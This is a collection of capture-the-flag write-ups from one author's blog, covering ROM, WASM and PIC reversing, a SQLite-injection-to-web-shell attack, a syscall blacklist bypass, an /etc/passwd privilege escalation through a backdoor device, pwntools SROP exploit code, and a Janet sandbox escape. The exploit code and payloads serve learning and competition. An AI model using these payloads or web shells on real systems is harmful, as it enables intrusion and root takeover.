The opcodes itself aren’t printable. Let's write a parser for these instructions and see what we get.

Unprintable Hex values
Startup
state = {'a': 0, 'pc': 0x100}
fp = open("rom", "rb")
bs = fp.read()
mem = list('0' * 0x200 + bs.encode('hex').lower())

We set the initial state variables and read the ROM into memory. As suggested in the documentation we set the initial 0x100 bytes to 0 and load the ROM starting at address 0x100.

We start iterating over opcodes starting at 0x100:

while state['pc'] < len(bs):                                                                                                                                                                  
if state['pc'] == 0x408:
break
x = state['pc'] * 2
opcode = ''.join(mem[x:x+2])
second = ''.join(mem[x+2:x+4])
argument = second
if opcode[0] == "8" or opcode[0] == "2" or opcode[0] == "3" or opcode[0] == "4" or opcode[0] == "5" or opcode[0] == "7" or opcode[0] == "9" or opcode[0] == "a" or opcode[0] == "c":
argument = opcode[1] + argument
elif opcode[0] == "d":
argument = opcode[1] + argument
elif opcode[0] == "f":
argument = opcode[1] + argument
ins, jumped = parse_opcode(opcode, argument)
# only increment 'pc' if last instruction was not a jmp

#print hex(x/2) + ">", ins, argument, ";", "a:", state['a']
if not jumped:
state['pc'] += 2
#x += 2
#print state['pc']

We need to adjust offset of our arguments depending on the opcode. For instance:

  • Opcode 2X XX: takes in 3 nibbles as argument and jumps there.
  • while Opcode 60 XX: taken in just 2 nibbles as argument.

After we have the valid argument and opcodes parsed, we shall start parsing the instructions and executing the program in our emulator.

def parse_opcode(opcode, arg):
global state
global mem
global blocked_addrs
jumped = False
x = int(arg, base=16)
    if opcode == "00":
state['a'] += x
state['a'] = state['a'] & 0xff
return "add", jumped
elif opcode == "01":
state['a'] = x
return "set_a", jumped
elif opcode == "02":
#print state['a'], x, state['a'] ^ x
state['a'] ^= x
return "xor_a", jumped
....
....
snipped
....
....
    elif opcode == "13":
if x == 0x37:
print chr(state['a'])
return "print", jumped
else:
state['a'] -= 1
return "invalid", jumped
else:
state['a'] -= 1
return "invalid", jumped
state['a'] &= 0xff
return opcode, jumped

You should also note that the processor has some quirks for invalid instructions:

quirk

So for all invalid opcodes (if any), we need to decrement the register A. Taking all these things in mind, here is the final emulator for this ROM:

I commented out the part where it prints the instructions getting executed (line 146). Here you can see the ROM is parsed and instructions are converted into more readable ones:

Custom Rom

We also added functionality to execute instructions in python and maintain our state variables ‘A’ and ‘PC’ accordingly. Lets only get the output of the print instructions “13 37”

elif opcode == "13":                                                                                                                                                                      
if x == 0x37:
print chr(state['a'])

Here we have our flag:

$ python parse_rom.py | tr -d ‘\n’ | xargs echo
X-MAS{S4nt4_U5e5_An_Emu_2.0_M4ch1n3}

This was my first time ever I got to disassemble a custom ROM from scratch. Even tho the instruction set was quite limited, it was still a fun learning experience. Thank you for reading :)


Reversing an 8bit RISC microprocessor was originally published in Aneesh Dogra’s Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

File Magician, 36c3 ctf

$
0
0

Hacking a web application using magic files, sqlite3 injection and finally RCE.

Finally (again), a minimalistic, open-source file hosting solution.
file magician-3ace41f3b0282a70.tar.xz (2.1 KiB)
http://78.47.152.131:8000/

The challenge is very minimalistic and it took me quite a while to figure out as the vulnerability is not clear at first few glances.

Any file you upload to the application, it figures out the file type using finfo_file, and stores this information in an SQLite database.

$s = "INSERT INTO upload(info) VALUES ('" .(new finfo)->file($_FILES['file']['tmp_name']). " ');";

The insert statement is not parametrised; it’s vulnerable to SQL injection. But we don’t directly control what’s being inserted here. It’s coming out of php’s finfo->file. Initially, I ignored this and moved on to look for further vulnerabilities. After getting nowhere after hours, I tried to create a dataset of 100,000 files that I can pass to finfo->file and find out any file format that lets us inject some bytes.

It’s pretty easy to create random files using os.urandom and python.

>>> import os
>>> for f in range(0, 100000):
... fp = open(str(f), 'wb')
... fp.write(os.urandom(1000))
... fp.close()
...
>>>

Here we have 100,000 files each with 1000 random bytes. I made a PHP script, to test out what finfo gives us for each of these files:

<?php
error_reporting(3);
ini_set('display_errors', 3);
ini_set('display_startup_errors', 3);
echo "$argv[1]:".(new finfo)->file($argv[1])."\n";

Let’s run it on all the files we have and wait for interesting stuff to appear:

find . -type f -exec php test.php {} \; > out

It takes a couple of mins to run. There are a lot of interesting formats we were able to fuzz:

./80507:MPEG-4 LOAS, 4 or more streams
./80566:zlib compressed data
./80680:zlib compressed data
./80718:DOS executable (COM)
./80746:COM executable for DOS
./80747:COM executable for DOS
./80755:TeX DVI file (d\201\206\220z \011+>\200\331\363\022z\233\274\334\031e\362\255\214\334.\2506\333G\250o\246\300\006fa\365q\007\212\016@~UR\235r\375\254\030\014-\211\374M\321*_\241\256\301$}\x\027\366\215V\372\242#\256 #\322AS\221\0
34\346yB\335b\305:\307\301\213\354\330\177\271\230;)

./80768:DOS executable (COM, 0x8C-variant)
./80840:COM executable for DOS
./80845:PGP\011Secret Sub-key -
./80946:ATSC A/52 aka AC-3 aka Dolby Digital stream, reserved frequency,, karaoke 3 front/1 rear,, 192 kbit/s
./80963:QDOS object ''
./81058:SysEx File -
./81067:PG
./82523:COM executable for DOS
./82546:PGP\011Secret Key -
./82577:PGP\011Secret Key -
./82656:DOS executable (COM, 0x8C-variant)
./82758:DOS executable (COM, 0x8C-variant)
./82826:DOS executable (COM, 0x8C-variant)
./82836:COM executable for DOS

But TeX DVI file definitely stands out. We need to be able to inject random bytes and have it returned by finfo:

root@0c653a405e70:/files# php test.php 7774
7774:TeX DVI file (ello this is aneesh'-- we have sqlite injection)

You can easily edit out the part after the header and we have an SQLite injection :). From this point onwards things are breezy.

Note: Our payload has a length limitation so we can’t just do this:

ATTACH DATABASE '/var/www/lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES ('<?system($_GET['cmd']); ?>');--

we have to split it up and use minimum characters:

  1. Create the database file as .php and create a table that we will insert into next.
payload1

payload1 here.

2. Insert PHP code into our table and execute “cat /*”

payload2 here.

Let’s try to upload these in order and checkout lol.php.

uploads
flag

What an amazing challenge. Learned a lot about SQLite injections and file formats. Thanks, hxp!


File Magician, 36c3 ctf was originally published in Aneesh Dogra’s Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Reversing Web Assembly (WASM)

$
0
0

The challenge is a flag-checking-service written in web assembly. The flag must be in format hxp{…}. Our goal is to guess the correct flag. I hosted the challenge on my local setup; used Nginx and made sure .wasm files are served with the correct mime-type.

xmas_future
by benediktwerner
Most people just give you a present for christmas, hxp gives you a glorious future.
If you’re confused, simply extract the flag from this 山葵 and you shall understand. :)
xmas_future-265eb0be46555aad.tar.xz (15.5 KiB)
reverse wasm

The challenge is a flag-checking-service in web assembly. The flag must be in format hxp{…}. Our goal is to guess the correct flag. I hosted the challenge on my local setup; used Nginx and made sure .wasm files are served with the correct mime-type.

server {
listen 4301 default_server;
listen [::]:4301 default_server;
              location = /hxp2019_bg.wasm {
types { } default_type "application/wasm";
add_header x-robots-tag "noindex, follow";
}
}

This will allow us to instantiate streaming and use Chrome’s debugger with stack variables, call stack, memory and all the information at our disposal.

I have hosted the challenge here. You can try along if you’d like.

Check in JS

The correct flag is compared against our input in javascript (hxp2019.js). The check function passes our input to wasm and calls a method in wasm namespace. While exploring wasm methods, I found a couple of to be interesting, like this one wasm-0002e886-4:

Wasm Check

We can set up a breakpoint and start executing. With a test flag “hxp{checkthis}”:

Debugging wasm

We can see the first jump “br_if” is a couple of instructions down at 1075. This first checks the input length of the string. Apparently, our input has to be 50 bytes in total. Let’s adjust our input and bypass this check.

check

Our input is placed from memory address 1179596->1179645. Later the program checks our input byte after byte in memory. It's easy to set up a breakpoint and check what’s being compared:

Wasm Xmas — Debugging in Chrome

i32.eq checks arguments on the stack. We can see 97 is being compared with 109.

109 ASCII

109 is ‘m’ in ASCII. Let's change our flag and put an m at first character after {. And run the app again.

We can see we bypassed the first check.

We have guessed our first byte. Continuing one more time. We get the next comparison:

2nd byte

101 is ‘e’ in ASCII. the flag starts with hxp{me….}. After a couple of mins of playing with the debugger and guessing the flag one byte at a time, we have recovered the flag.

Interesting challenge. First experience debugging web assembly. Thanks, hxp!


Reversing Web Assembly (WASM) was originally published in Aneesh Dogra’s Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Reversing Programmable Interface Controllers

$
0
0

AeroCTF had a category of challenges revolving around PICs. The PIC code dump is given for us to analyze and extract the flag from it. ROM dump is given in a hex file: Beginning.hex, also a schematic:

Schematic
Beginning.hex

After some research, I found we can use MPLab IDE v8.92 to analyze this memory dump. We also know the model of the PIC: PIC16F877 from the schematic diagram above.

MPLab

At first, I decided to approach it statically and started reading up on the datasheet itself: here.

Mnemonics (Page 136)
Microchip (Diagram)

Following from the disassembly we see that the majority of the instructions seems to be writing to PORTC and PORTD:

movlw + movwf = write!

Movlw (Moves argument to W register) and movwf (Move W to the argument).

PortC is RC0-RC7 (from the microchip diagram above)

PortD is RD0-RD7

Schematic

We can see that these pins are feeding inputs to the LCD. We need to get the mapping of such signals to ASCII characters. Here Vaibhav Jayant helped me simulate the circuit on “Proteus 8 professional”. The project file is here.

Circuit

After getting this it was pretty easy to simulate it all. Just press the play button

Solve :)

AERO{PIC_IS_SIMPLE_Q4A8K1L7}

Fun CTF! Thanks a lot, Konstantin for this challenge.


Reversing Programmable Interface Controllers was originally published in Aneesh Dogra’s Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Bypassing Syscall filters

$
0
0

With the advent of tools like AuditD, SECCOMP and SELinux, we have rules to disable a list of Linux syscalls using a blacklist mechanism. These can be used to strengthen the security of the infrastructure but shouldn’t be trusted blindly. We look at a dumbed-down version of this problem in NahamCon’s CTF challenge SaaS (Syscall as a service).

You’ve heard of software as a service, but have you heard of syscall as a service?
Connect with:
nc jh2i.com 50016
saas
saas (disassembly main)

The program allows us to run any syscall by specifying the values of rax and other registers. The first idea is to just run execve with /bin/bash to get a shell, but there is a blacklist that makes this difficult:

blacklist

The program doesn’t allow us to run syscall numbers: 59, 57, 56, 62, 101, 200. 322. We can the x64 syscall table to make sense out of these. They translate to:

sys_execve, sys_fork, sys_clone, sys_kill, sys_ptrace, sys_tkill, stub_execveat

I tried to look for other syscalls in Linux that allows us to run a binary from an absolute path, but nothing clear comes to mind. Later I tried to build my own functionality using syscalls: mmap, read, write, open, getdents, getcwd.

First, let's just get the current working directory:

  1. mmap a writable memory at a constant location we provide (0x10000).
  2. Place our input in this memory address using read syscall.
  3. Providing a pointer (0x1000) to getcwd.
  4. use write to write out 0x100 bytes from our pointer to stdout.
root@ctf-VirtualBox:~/naham# python solve.py                                                  
[+] Opening connection to jh2i.com on port 50016: Done
checkpoint
('syscall', [9, 4096, 1024, 7, 34, 0, -1])
('Welcome to syscall-as-a-service!\n\nEnter rax (decimal):', 54)
('Enter rdi (decimal):', 20)
('Enter rsi (decimal):', 20)
('Enter rdx (decimal):', 20)
('Enter r10 (decimal):', 20)
('Enter r9 (decimal):', 19)
('Enter r8 (decimal):', 19)
('syscall', [79, 66048, 256, 0, 0, 0, 0])
('Rax: 0x10000\n\nEnter rax (decimal):', 34)
('Enter rdi (decimal):', 20)
('Enter rsi (decimal):', 20)
('Enter rdx (decimal):', 20)
('Enter r10 (decimal):', 20)
('Enter r9 (decimal):', 19)
('Enter r8 (decimal):', 19)
('syscall', [1, 1, 65792, 1024, 0, 0, 0])
('Rax: 0x10\n\nEnter rax (decimal):', 31)
('Enter rdi (decimal):', 20)
('Enter rsi (decimal):', 20)
('Enter rdx (decimal):', 20)
('Enter r10 (decimal):', 20)
('Enter r9 (decimal):', 19)
('Enter r8 (decimal):', 19)
('/home/challengeRax: 0x400\n\nEnter rax (decimal): ', 1057)
[*] Switching to interactive mode
Sorry too slow try scripting your solution.
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to jh2i.com port 50016

Our current working directory is /home/challenge. We can now get the list of files in this directory using gedents syscall.

int getdents(unsigned int fd, struct linux_dirent *dirp,
unsigned int count);
       The system call getdents() reads several linux_dirent structures from
the directory referred to by the open file descriptor fd into the
buffer pointed to by dirp. The argument count specifies the size of
that buffer.

Let's write the directory name in memory using read:

def read(s = "/home/challenge/\0"):
args = [0, 0, 0x10000, len(s), 0, 0, 0]
syscall(args)
r.sendline(s)

Let's open the directory with the O_DIRECTORY flag.

def opendir(addr = 0x10000):
args = [2, addr, 65536, 0, 0, 0, 0]
syscall(args)

Notice 65536 is 0200000 which is flag value in octal for O_DIRECTORY. We use our address at 0x10000 for the path. We can provide this fd number to getdents to get the directory listing at an address we chose:

def getdents(fd = 6, addr = 0x10100, count = 0x400):
args = [78, fd, addr, count, 0, 0,0]
syscall(args)

I noticed that in remote the new open fd gets numbered 6 every time. The getdents call will get up to 0x400 bytes of data; file list from directory pointed by the fd.

Lets read from this memory segment 0x10100 and print to stdout.

def write(addr = 0x10100, fd = 1):
args = [1, fd, addr, 0x400, 0,0,0]
syscall(args)
abc = r.recv(timeout=2)
print (abc.replace("\x00", ""), len(abc))

We get this from remote:

('\xd2\xb4\x91\x01 .bashrc\x08\xd3\xb4\x91\x02 .profile\x08\xd0\xb4\x91\x03\x18.\x04\xd1\xb4\x91\x04
.bash_logout\x08\xcf\xb4\x91\x05\x18..\x04\xd5\xb4\x91\x06\x18saas\x08\xd4\xb4\x91\x07 flag.txt\x08', 1024)

Ignore the unprintable bytes, those are part of the linux_dirent structure.

struct linux_dirent {
unsigned long d_ino;
unsigned long d_off;
unsigned short d_reclen;
char d_name[1];
};

We can still extract the file names from that, and we see the all interesting flag.txt file. Let's grab the contents of the flag.txt file:

First write /home/challenge/flag.txt in memory:

def read(s = "/home/challenge/flag.txt\0"):
args = [0, 0, 0x10000, len(s), 0, 0, 0]
syscall(args)
r.sendline(s)

Then use open syscall with O_RDONLY flag, read 0x400 bytes.

def readfile(addr=0x10100, fd = 6):
args = [0, fd, addr, 0x400, 0, 0, 0]
syscall(args)

Use write to print it on the screen:

def write(addr = 0x10100, fd = 1):
args = [1, fd, addr, 0x400, 0,0,0]
syscall(args)
abc = r.recv(timeout=2)
print (abc.replace("\x00", ""), len(abc))

Here’s the final solver:

Here’s our flag :)

root@ctf-VirtualBox:~/naham# python solve.py 
[+] Opening connection to jh2i.com on port 50016: Done
checkpoint
('syscall', [9, 4096, 1024, 7, 34, 0, -1])
('Welcome to syscall-as-a-service!\n\nEnter rax (decimal):', 54)
('Enter rdi (decimal):', 20)
('Enter rsi (decimal):', 20)
('Enter rdx (decimal):', 20)
('Enter r10 (decimal):', 20)
('Enter r9 (decimal):', 19)
('Enter r8 (decimal):', 19)
('syscall', [0, 0, 65536, 25, 0, 0, 0])
('Rax: 0x10000\n\nEnter rax (decimal):', 34)
('Enter rdi (decimal):', 20)
('Enter rsi (decimal):', 20)
('Enter rdx (decimal):', 20)
('Enter r10 (decimal):', 20)
('Enter r9 (decimal):', 19)
('Enter r8 (decimal):', 19)
('syscall', [2, 65536, 0, 0, 0, 0, 0])
('Rax: 0x19\n\nEnter rax (decimal):', 31)
('Enter rdi (decimal):', 20)
('Enter rsi (decimal):', 20)
('Enter rdx (decimal):', 20)
('Enter r10 (decimal):', 20)
('Enter r9 (decimal):', 19)
('Enter r8 (decimal):', 19)
('syscall', [0, 6, 65792, 1024, 0, 0, 0])
('Rax: 0x6\n\nEnter rax (decimal):', 30)
('Enter rdi (decimal):', 20)
('Enter rsi (decimal):', 20)
('Enter rdx (decimal):', 20)
('Enter r10 (decimal):', 20)
('Enter r9 (decimal):', 19)
('Enter r8 (decimal):', 19)
('syscall', [1, 1, 65792, 1024, 0, 0, 0])
('Rax: 0x1f\n\nEnter rax (decimal):', 31)
('Enter rdi (decimal):', 20)
('Enter rsi (decimal):', 20)
('Enter rdx (decimal):', 20)
('Enter r10 (decimal):', 20)
('Enter r9 (decimal):', 19)
('Enter r8 (decimal):', 19)
('flag{rax_rdi_rsi_radical_dude}\nRax: 0x400\n\nEnter rax (decimal): ', 1057)

Fun challenge. Thanks NahamCon 2020’s CTF team for such an amazing experience.


Bypassing Syscall filters was originally published in Aneesh Dogra’s Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.


Reversing libfuse malware

$
0
0

Recent zer0pts CTF 2021 had a reversing challenge: infected in the reversing, warmup category. [96 pts]

The backdoor is installed on this machine: nc others.ctf.zer0pts.com 11011 or nc any.ctf.zer0pts.com 11011
How can I use it to get the flag in /root directory?
author:ptr-yudai
infected_bf473725549e7b89f972756fef2936aa.tar.gz

Let's try to load the program in IDA and see what is the backdoor all about. Main just calls register_backdoor which registers a libfuse driver on /dev/backdoor.

cuse_lowlevel_main

It passes a cuse_lowlevel_ops struct named devops. Let's investigate this structure more to find open, read, write functions.

devops

We can see it has pointers to defined functions: backdoor_open, backdoor_write. Backdoor open doesn’t do anything special, lets look at backdoor_write:

backdoor_write

We can see it's looking for a message of the pattern:

b4ckd00r:<file>:<perms>

If the pattern matches it would call “chmod” on the file and set it with the permissions we provide. At this point, I looked at some libfuse examples and there is one that implements cuse_lowlevel_main: https://github.com/libfuse/libfuse/blob/master/example/cuse.c.

We can compile this example and test it out to see what kind of functions triggers the write call, I have made changes to cuse.c program and added print calls at the write call, main, other functions:

cuse.c logging write call
root@ctf-VirtualBox:/home/ctf/zer0/infected/libfuse/example# ./cuse -f — name=testfuse
Hey main!
Flags: 1

Let’s try to use the cuse_client to communicate with the char device at /dev/testfuse.

# echo "hello" | ./cuse_client /dev/testfuse w 5
Writing 5 bytes
5
transferred 5 bytes (0 -> 5)
root@ctf-VirtualBox:/home/ctf/zer0/infected/libfuse/example#

We can see the logging output in the tty that's running ./cuse.

# ./cuse -f — name=testfuse
Hey main!
Flags: 1
Hey open!
IOCTL read/write call (fioc_do_rw)
IOCTL read/write call (fioc_do_rw)
IOCTL read/write call (fioc_do_rw)

The cuse_client is communicating with the libfuse driver using IOCTL calls:

cuse_lowlevel_ops

At this point, I got stuck for a while and didn’t think we could just echo into the character driver that implements write. Let's try that:

# echo “writing through echo” > /dev/testfuse

We see that open and write calls are triggered:

# ./cuse -f — name=testfuse
Hey main!
Flags: 1
Hey open!
IOCTL read/write call (fioc_do_rw)
IOCTL read/write call (fioc_do_rw)
IOCTL read/write call (fioc_do_rw)
Hey open!
Hey writing, writing through echo

Perfect! Let's try to send this payload to the backdoor and see if it actually can chmod the file with our permissions. “b4ckd00r:/etc/passwd:511":

/ $ echo "b4ckd00r:/etc/passwd:511" > /dev/backdoor
echo "b4ckd00r:/etc/passwd:511" > /dev/backdoor
/ $ ls -al /etc/passwd
ls -al /etc/passwd
-rwxrwxrwx 1 root root 340 Mar 4 03:56 /etc/passwd
/ $

The /etc/passwd file is now writable. (511 is just 0777 in decimal). Lets add a new root user to access /root:

/ $ echo "lionaneesh:aajextnUQwGKg:0:0:toor:/root:/bin/sh" >> /etc/passwd
/ # su lionaneesh
Password: igotroot
/ # cat root/flag*
zer0pts{exCUSE_m3_bu7_d0_u_m1nd_0p3n1ng_7h3_b4ckd00r?}

Thanks for this amazing challenge ptr-yudai. Really enjoyed learning about libfuse based malware.


Reversing libfuse malware was originally published in Aneesh Dogra’s Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Advanced ROP techniques

$
0
0

Rop or return-oriented-programming is an exploit technique that is usually used to exploit buffer overflow vulnerabilities in programs running with exploit mitigation features like NX, ASLR, RELRO, etc.

There are a lot of different ROP chain techniques, a couple of then include:

  1. ret2libc: jump directly to a libc address “system”.
  2. ret2plt: jump to the Process Linkage Table entry for a function used in the binary and use it to leak GOT pointers — to predict libc version.
  3. ret2csu: use the gadgets available in __lib_csu_init to control rdx, rsi, rdi, use it to call execve syscall.
  4. SROP variant 1: Use “sigreturn” syscall and crafted Sigreturn Frame to get control of all registers. (assuming we have leaks for /bin/sh pointer and have gadgets to control rax).
  5. SROP variant 2: Sigreturn without any straightforward gadgets to control rax. Chaining SROP frames.

I recently talked about the ret2libc, ret2plt, ret2csu techniques in my talk for DarkCon

lionaneesh/darkCON-ret2csu

This repo has exploits for a minimal exploitable program. (ret2libc, ret2plt, ret2csu). Now let's talk about SROP variants:

SROP

Signal Return Oriented Programming: sigreturn (syscall number 15) can be used to control all registers.

sigreturn

Variant 1

To start with let's see an example problem from 0x41414141 2021 CTF recently: moving-signals

We don’t like giving binaries that contain loads of information, so we decided that a small program should do for this challenge. Even written in some custom assembly. I wonder how this could be exploited
author: Tango
File: moving-signals

You can download the sample from my drive: here. Its a tiny program, just a couple of instructions:

moving-signals

The program runs a read syscall (syscall number 0) with count 0x1f4 and writes our content on rsp, so we can easily control the return pointer at offset 8.

At first, it's hard to make any progress as there are not many useful gadgets or any Process Linkage Table, GOT table entries. (note: rax = 0 at the start of the program). Let's check the available gadgets using Ropper:

# ropper -f moving-signals | grep rax
[INFO] Load gadgets from cache
[LOAD] loading… 100%
[LOAD] removing double gadgets… 100%
0x0000000000041006: add byte ptr [rax — 0x77], cl; out 0x48, al; sub esi, 8; mov rdx, 0x1f4; syscall;
0x0000000000041006: add byte ptr [rax — 0x77], cl; out 0x48, al; sub esi, 8; mov rdx, 0x1f4; syscall; ret;
0x0000000000041004: add byte ptr [rax], al; add byte ptr [rax — 0x77], cl; out 0x48, al; sub esi, 8; mov rdx, 0x1f4; syscall;
0x0000000000041003: add byte ptr [rax], al; add byte ptr [rax], al; mov rsi, rsp; sub rsi, 8; mov rdx, 0x1f4; syscall;
0x0000000000041005: add byte ptr [rax], al; mov rsi, rsp; sub rsi, 8; mov rdx, 0x1f4; syscall;
0x0000000000041005: add byte ptr [rax], al; mov rsi, rsp; sub rsi, 8; mov rdx, 0x1f4; syscall; ret;
0x0000000000041013: add byte ptr [rax], al; syscall;
0x0000000000041013: add byte ptr [rax], al; syscall; ret;
0x0000000000041002: mov dword ptr [rax], 0x48000000; mov esi, esp; sub rsi, 8; mov rdx, 0x1f4; syscall;
0x000000000004100d: or byte ptr [rax — 0x39], cl; ret 0x1f4;
0x000000000004100c: out dx, al; or byte ptr [rax — 0x39], cl; ret 0x1f4;
0x0000000000041018: pop rax; ret;

In this case:

  1. we have a pop rax, ret gadget which we can use to control rax and call sigreturn.
  2. Also, we have the /bin/sh string in the binary itself.

gef_ search-pattern “/bin/sh”
[+] Searching ‘/bin/sh’ in memory
[+] In ‘/root/41414141/moving-signals’(0x41000–0x42000), permission=rwx
0x41250–0x41257 _ “/bin/sh”
gef_

Now we can call sigreturn with a forged sigreturn frame to call execve (syscall number 59), we need to set up 4 registers for that rax, rdi, rsi, rdx. rax=59, rdi=binsh_ptr, rsi=0, rdx=0.

We can use pwntools to create a forged sigreturn frame and put it on the stack. (https://docs.pwntools.com/en/latest/rop/srop.html)

The first sigreturn call:

sigreturn

After Sigreturn:

after sigreturn

We can see that rax=0x3b and rdi, rsi, rdx are set the “/bin/sh”, 0, 0 respectively.

gef_  c
Continuing.
process 28539 is executing new program: /usr/bin/dash
Warning:
Cannot insert breakpoint 1.
Cannot access memory at address 0x4100e

Seems like we executed /bin/sh, lets try it on the binary outside gdb.

moving-signals solve

Variant 2

For the second challenge we have a binary from NahamCON 2021:

Author: @M_alpha#3534
I’m starting to get pretty good at this whole programming thing. Here’s a basic program I wrote that will echo back what you say.

You can download the sample from my drive here. It's a tiny program with “read” and “write” functions (no PLT, GOT tables):

some-really-ordinary-program (main)
write
read

In this binary we don't have any gadgets to directly control rax like the last one:

root@ctf2-VirtualBox:~/naham# ropper -f some-really-ordinary-program | grep "pop rax"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
root@ctf2-VirtualBox:~/naham#

Also, we don't have any /bin/sh string in the binary:

gef_  search-pattern "/bin/sh"
[+] Searching '/bin/sh' in memory
gef_
  1. The trick is to remember rax is used by Linux syscalls to transmit return codes. If we can control the return value of any syscall available in the binary we can use that to call sigreturn.
  2. But the puzzle doesn’t end there. Remember we don't have any /bin/sh string in the binary. We can use the existing write function to write /bin/sh somewhere in the .bss/.data segment.
  3. For this case, we need to forge 2 different SigreturnFrames and chain our calls in a way to achieve RCE.
  4. We first write /bin/sh at some constant location using the first frame and use this pointer in the second frame to call execve.

Here’s an exploit that does all this:

To walk through the exploit lets first understand the first phase of the exploitation: the part where are trying to control rax and set it to sigreturn’s syscall number and generating a forged frame to help us call read and pivot the stack:

...
data = 0x402000 + 0x1f4 # added 0x1f4 to avoid going out of bounds stack in main, note main does sub esp, 0x1f4
#create a frame to read into .bss
frame = SigreturnFrame(arch="amd64", kernel="amd64")
frame.rax = 0 # rax = 0, read
frame.rdi = 0 # rdi = fd = 0 = stdin
frame.rsi = data # rsi = buff
frame.rdx = len(pay2) # rdx = count
frame.rsp = data + 8 # pivot stack to constant .bss/data segment
frame.rip = syscall_ret # SET RIP TO SYSCALL ADDRESs
pay = b"A" * 0x1f4 + b'B' * 8 + p64(main) + p64(syscall_ret) + bytes(frame)
# sigreturn eax=15
raw_input('check')
p.sendafter("get.", pay)
p.sendafter("get.", "X"*15) # 15 characters to controll rax, return of read = count of bytes it read (hence we will be setting up rax=15 after this

In the above snippet, you can see that we first send the program 0x1f4+8 bytes to reach the return pointer on the stack. We then call main again (hence invoking read again). The read call will then listen for input and we give it 15 characters to help us control rax. After our rax is controlled we then jump to syscall_ret gadget (got it using ropper):

0x000000000040100e: syscall; ret;

This will invoke sigreturn and pop the frame off the stack, that's why we follow syscall_ret with the forged frame in the payload:

pay = b"A" * 0x1f4 + b'B' * 8 + p64(main) + p64(syscall_ret) + bytes(frame)

Frame is generated using pwntools and here we are setting rax = 0 (read), rdi = 0 (stdin), rsi=constant_data_segment, rdx=count, rsp=pivot_stack.

...
#create a frame to read into .bss
frame = SigreturnFrame(arch="amd64", kernel="amd64")
frame.rax = 0 # rax = 0, read
frame.rdi = 0 # rdi = fd = 0 = stdin
frame.rsi = data # rsi = buff
frame.rdx = len(pay2) # rdx = count
frame.rsp = data + 8 # pivot stack to constant .bss/data segment
frame.rip = syscall_ret # SET RIP TO SYSCALL ADDRESs

Note: data is set to .bss_start + 0x1f4 because we will jump to main again to control rax and at the start of main we have sub rsp, 1F4h. To make sure we don't end up in an invalid location we have to set data to 0x402000 + 0x1f4

This will set the stack to our controlled constant location and we can then set up the contents at this location to generate the second phase of the exploit:

...
# frame to call execve
frame2 = SigreturnFrame(arch="amd64", kernel="amd64") # CREATING A SIGRETURN FRAME
frame2.rax = 59
frame2.rdi = data # rdi = binsh_ptr
frame2.rsi = 0
frame2.rdx = 0
frame2.rip = syscall_ret # SET RIP TO SYSCALL ADDRESS
pay2 = b"/bin/sh\0" + p64(main) + p64(syscall_ret) + bytes(frame2) # this is a payload to setup the stack using read
p.sendafter("X" * 15, pay2)
p.sendafter("get.", "Y" * 15)
p.interactive()
...

In the read call, we set up the /bin/sh string at a constant address (0x402000 + 0x1f4). Also, we set up the call stack to let us call “main” and set up the second frame to help us jump to it after rax is controlled by the “read” in “main”. This will indeed call execve with our /bin/sh pointer, resulting in a shell.

solve_orinary exploit

SROP is a really powerful technique to get RCE even when we have very limited gadgets available in the binary. Hopefully, this article sheds some light on when and how it's useful. Thanks for reading!


Advanced ROP techniques was originally published in Aneesh Dogra’s Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Janet v1.1 REPL Sandbox Bypass

$
0
0

Janet is a functional and imperative programming language. The entire language (core library, interpreter, compiler, assembler, PEG) is less than 1MB. Last weekend I played the UMassCTF 2021 (with d4rkc0de). The CTF had a couple of Sandbox bypass challenges on Janet REPL v1.1. In both the challenges we are given binaries to a REPL (read–eval–print loop) shell which runs Janet. The first one is called “replme”:

Replme

I found this new programming language and wanted people to be able to try it out.
http://34.72.244.178:8085
http://static.ctf.umasscybersec.org/pwn/8ff0476d-85f1-40f8-84ca-ade94b5b0169/janet.zip

Author: Created by Jakob#9448

(Mirror for janet.zip in case it goes down.)

At this point, I had no clue about Janet as a programming language and I began trying to dig through different methods, documentation on calling conventions, and variables.

The challenge runs Janet 1.1.0-dev. Some of the interesting methods like os/execute, os/shell, file/open, file/popen all are overloaded.

os/shell

Seems like the author has created a blacklist of all nefarious functions in the core library. At first, I tried to go through all the interesting functions in the core lib documentation and found asm is still allowed. At first, I thought I could write some custom Janet bytecode using asm and get access to os/open and other functions. I read through Janet’s instruction set reference: here. And wrote this snippet:

(defn hello2
[]
(print “hey!”)
)
(def some
(asm
‘{
constants @[“/bin/sh” os/shell]
:arity 0
slotcount 2
bytecode @[(lds 0) (ldc 1 0) (push 1) (ldc 1 1) (tcall 1)]
}
))
(hello2)
(some)

The explanation for the bytecode:

(lds 0) : setup stack frame
(ldc 1 0): ldc loads the 0th index from constants and puts onto a stack variable ($1)
(push 1):  Push $1 on stack
(ldc 1 1): ldc loads the 1st index from constants and puts on a stack variable $1
(tcall 1): call $1

In theory, I thought this would help me bypass os/shell, but all my attempts to do that had failed:

error: expected integer key
in <anonymous> pc=4
in _thunk [asm_print.janet] (tailcall) at (187:194)

The problem here is that the os/shell in constants is not treated as a pointer and putting a function pointer on constants is to be done using quasiquote (,).

Doing this we stumble upon a new error message, with our first leak:

./janet asm_print.janet 
error: could not parse constant “<tuple 0x5558D9603C40>”
in asm
in _thunk [asm_print.janet] (tailcall) at (15:184)

In this version of Janet v1.1. quasiqoute is converting the function call to the tuple and is not a valid constant.

While I was working on this my teammate from d4rk0de solved it by using the slurp method. All credits to downgrade for this solution.

slurp

He wrote a fuzzing script to try and run all functions and find which ones worked.

Seems like slurp to be an interesting one as it can be used to read the flag.txt file.

(print (slurp "./flag.txt"))
replme solution

replme2

Huh, guess I forgot to blacklist a function in my repl. That should be fixed, now.
http://34.72.244.178:8090
http://static.ctf.umasscybersec.org/pwn/8ff0476d-85f1-40f8-84ca-ade94b5b0169/janet.zip
Created by Jakob#9448

(Mirror for janet.zip in case it goes down)

Now they have blacklisted slurp, but asm is still enabled.

slurp no longer works

